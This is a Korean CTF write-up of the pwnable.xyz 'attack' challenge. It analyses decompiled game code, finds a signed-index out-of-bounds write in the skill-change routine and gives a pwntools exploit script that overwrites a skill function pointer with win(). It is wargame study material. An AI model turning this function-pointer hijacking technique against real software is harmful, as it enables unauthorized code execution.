tmxklab
[Pwnable.xyz] attack 본문
1. 문제
nc svc.pwnable.xyz 30020
1) mitigation 확인
2) 문제 확인
- 뭔가 2대 2로 pvp를 하는 게임인 것 같다. 서로 스킬을 사용하여 HP를 깎고 살아남으면 게임에서 이기게 된다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup();
show_banner();
main_handler();
return 0;
}
- main_handler()를 호출한다.
3-2) main_handler()
void __cdecl main_handler()
{
int wait_time_0; // [rsp+Ch] [rbp-4h]
int wait_time_0a; // [rsp+Ch] [rbp-4h]
rand();
Teams[0].TeamName = strdup("Furanity");
team.TeamName = strdup("SmiteAllDay");
while ( 1 )
{
wait_time_0 = get_rand_range(3LL);
wait(wait_time_0);
if ( wait_time_0 > 1 )
{
impatient_trea();
kiddo_excuse();
}
wait_time_0a = (unsigned __int64)get_rand_range(3LL) + 1;
register_for_arena(wait_time_0a);
wait(wait_time_0a);
enter_arena();
play();
}
}
- Temas[0].TeamName에 "Furantiy"문자열을 가리키는 포인터를 저장하고 team.TeamName에 "SmiteAllday"문자열을 가리키는 포인터 저장
- strdup() : 문자열을 복사하고 복사된 문자열을 가리키는 포인터를 반환
- 솔직히 바이너리가 복잡하게 되어있어서 다른 것은 자세히 볼 필요 없고 if문안에 play()를 호추하는데 play()와 취약점이 발생하는 부분만 살펴보도록 하자
3-3) play()
void __cdecl play()
{
unsigned int v0; // ecx
const char *v1; // rax
int curTeam; // [rsp+8h] [rbp-18h]
int curPlayer; // [rsp+Ch] [rbp-14h]
int winner; // [rsp+10h] [rbp-10h]
int round; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
winner = -1;
curTeam = 0;
curPlayer = 0;
reset_teams();
if ( Rank > 1 )
change_equip();
if ( Rank > 2 )
do_skill_change();
round = 0;
while ( winner == -1 )
{
if ( *(&player.IsAlive + 126 * curTeam + 62 * curPlayer) )
{
wait(5);
v0 = round++;
if ( *(&player.IsCPU + 126 * curTeam + 62 * curPlayer) )
v1 = "CPU";
else
v1 = "Player";
printf("Round (%s): %d\n", v1, v0);
show_teamup(Teams);
show_teamup(&team);
execute_action(curTeam, curPlayer);
winner = check_for_win();
}
cycle_players(&curPlayer, &curTeam);
}
puts("Round (END): It's over");
printf("Team '%s' won the match...\n\n", Teams[winner].TeamName);
check_for_rankup(winner);
}
- Rank가 1보다 크면 change_equip()호출
- Rank가 2보다 크면 do_skill_change()호출
- 그리고 winner가 결정될 때까지 execute_action(curTeam, curPlayer)를 호출하는데 여기서 싸우는 로직이 포함되어 있다.
- 마지막으로 경기가 끝나고 while루프를 빠져나오면 check_for_rankup(winner)를 호출하는데 승패에 상관 없이 Rank가 3보다 작거나 같으면 1씩 증가한다.
3-4) do_skill_change()
void __cdecl do_skill_change()
{
Player *player; // [rsp+0h] [rbp-70h]
__int64 destSkill; // [rsp+8h] [rbp-68h]
__int64 isAttack; // [rsp+18h] [rbp-58h]
char buf[64]; // [rsp+20h] [rbp-50h]
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(buf, 0, 0x40uLL);
printf(
"Since you're a %s now, you may modify your skills before battle.\n"
"Do you want to change the type of your skills (y/n)? : ",
Ranks[Rank]);
fgets(buf, 3, stdin);
if ( buf[0] == 'y' )
{
show_skills();
player = getPlayer(0, 0);
while ( 1 )
{
printf("Which skill do you want to change (3 to exit): ");
destSkill = get_long();
if ( destSkill > 2 )
break;
printf("What type of skill is this (0: Heal, 1: Attack): ");
isAttack = get_long();
if ( isAttack <= 1 )
{
player->Skills[destSkill].Skill_Func = SkillTable[isAttack];
player->Skills[destSkill].IsAttackSkill = isAttack;
player->Skills[destSkill].Value = get_rand(1000);
}
}
}
}
- Rank가 2보다 크면 호출하는 함수로 해당 로직에서 취약점이 발생한다.
- 마지막 if문을 살펴보면 isAttack이 1보다 작거나 같으면 Skill Table에서 가져와서 skill을 변경하는 로직인 것 같은데 현재 isAttack의 데이터 타입은 signed이므로 음수가 와도 if문을 만족한다. → OOB
- player->Skills[destSkill].Skill_Func는 execute_player_action()에서 호출되는 함수로 OOB를 통해 여기다가 win()를 넣으면 될 것 같다.
2. 접근방법
do_skill_change()에서 oob가 발생하는 것을 이용하여 player의 스킬 함수에 win()의 주소를 넣도록 해야하는데... 그 전에 bss영역에 win()주소를 먼저 삽입하도록 하자
1) change_equip()
if ( buf[0] == 'y' )
{
printf("Name for your equip: ");
memset(&player.Equip, 0, 0x20uLL);
fgets(player.Equip.Name, 32, stdin);
player.Equip.DefValue = get_rand_range(1000LL);
printf("That's some neat equip, you created there. Is has a def value of %lu\n", player.Equip.DefValue);
}
- Rank가 1보다 크면 호출되는 함수로 fgets로 player.Equip.Name에 입력을 받는 것을 알 수 있다.
- player는 bss영역에 존재하는 구조체 변수로 위 함수를 이용하여 bss영역에 win함수의 주소를 넣을 수 있다.
2) player.Equip.Name, SkillTable 위치
- player : 0x604288
- player.Equip : 0x604288 + 0xd0
- player.Equip.Name : 0x604288 + 0xd0 + 0x0 = 0x604358
- SkillTable : 0x6046e0
- isAttack * 8 + SkillTable(0x6046e0) = player.Equip.Name(0x604358)
- isAttack * 8 = -904
- isAttack = -113
공격 프로세스)
- rank를 3까지 올린다.
- change_equip()에서 player.Equip.Name에 win()주소를 작성한다.
- do_skill_change()에서 oob를 이용하여 player.Equip.Name에 있는 win()를 player->Skills[destSkill].Skill_Func에 넣는다.
- pvp를 한 번 더 진행하면 player->Skills[destSkill].Skill_Func에 있는 win()가 실행된다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30020)
e = ELF("./challenge")
#gdb.attach(p)
def loop():
while True:
p.sendlineafter("use : ", str(1), timeout=5)
p.sendlineafter("on : ", str(0), timeout=5)
if p.recvuntil("Round (END): It's over\n", timeout=1):
break
# 1. Increase Rank
loop() # rank = 1
loop() # rank = 2
p.recvuntil("Do you want to change your equip (y/n)? : ", timeout=1)
p.sendline("n")
loop() # rank = 3
log.info("############## Rank 3 ##############")
# 2. change_equio() : player.Equip = win() addr
p.recvuntil("Do you want to change your equip (y/n)? : ", timeout=1)
p.sendline("y")
p.sendlineafter("Name for your equip:", p64(e.symbols['win']))
# 3. do_skill_change() : Skill_Func = SkillTable[-113](player.Equio) -> oob
p.sendlineafter("Do you want to change the type of your skills (y/n)?", "y")
p.sendlineafter("(3 to exit):", str(0))
p.sendlineafter("(0: Heal, 1: Attack):", str(-113))
p.sendlineafter("(3 to exit):", str(3))
# 4. Execute Skil_Func
p.sendline(str(0))
p.sendline(str(0))
p.interactive()
- 가끔 타이밍 안맞을 때도 있어서 몇 번 돌려보면 됨
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note v5 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] AdultVM 3 (0) | 2020.09.09 |
[Pwnable.xyz] AdultVM2 (0) | 2020.09.09 |
[Pwnable.xyz] AdultVM (0) | 2020.09.09 |
[Pwnable.xyz] note v4 (0) | 2020.09.09 |
Comments